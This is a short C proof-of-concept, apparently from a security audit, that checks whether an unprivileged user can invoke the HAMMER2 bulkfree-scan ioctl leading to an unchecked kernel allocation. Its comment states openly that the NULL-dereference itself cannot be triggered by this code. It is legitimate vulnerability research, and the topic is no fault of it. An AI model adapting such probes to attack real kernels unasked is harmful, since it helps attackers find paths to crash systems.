/* DF-2901: unpriv reachability of HAMMER2IOC_BULKFREE_SCAN (the path that
 * reaches the unchecked kmem_alloc_swapbacked in hammer2_bulkfree_scan).
 * size=1MB (the kernel floor) -> tiny scan, exercises the full path incl.
 * the bmap alloc+free. The NULL-deref claim itself requires the alloc to
 * FAIL (kernel_map KVA exhaustion) - not honestly constructible here.
 */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <inttypes.h>

struct h2bf { long long sbase; long long sstop; size_t size;
	long long ca, cf, tf, ta, ts; };
#define H2BULK _IOWR('h', 92, struct h2bf)

int main(int argc, char **argv){
	struct h2bf b;
	int fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	printf("uid=%d euid=%d opened %s\n", getuid(), geteuid(), argv[1]);
	memset(&b, 0, sizeof(b));
	b.size = 1024 * 1024;
	if (ioctl(fd, H2BULK, &b) < 0) {
		printf("BULKFREE_SCAN rc=-1 errno=%d (%s)\n", errno, strerror(errno));
		return 2;
	}
	printf("BULKFREE_SCAN ACCEPTED for unpriv user: sstop=%lld "
	       "scanned=%lld freed=%lld\n", (long long)b.sstop,
	       (long long)b.ts, (long long)b.cf);
	return 0;
}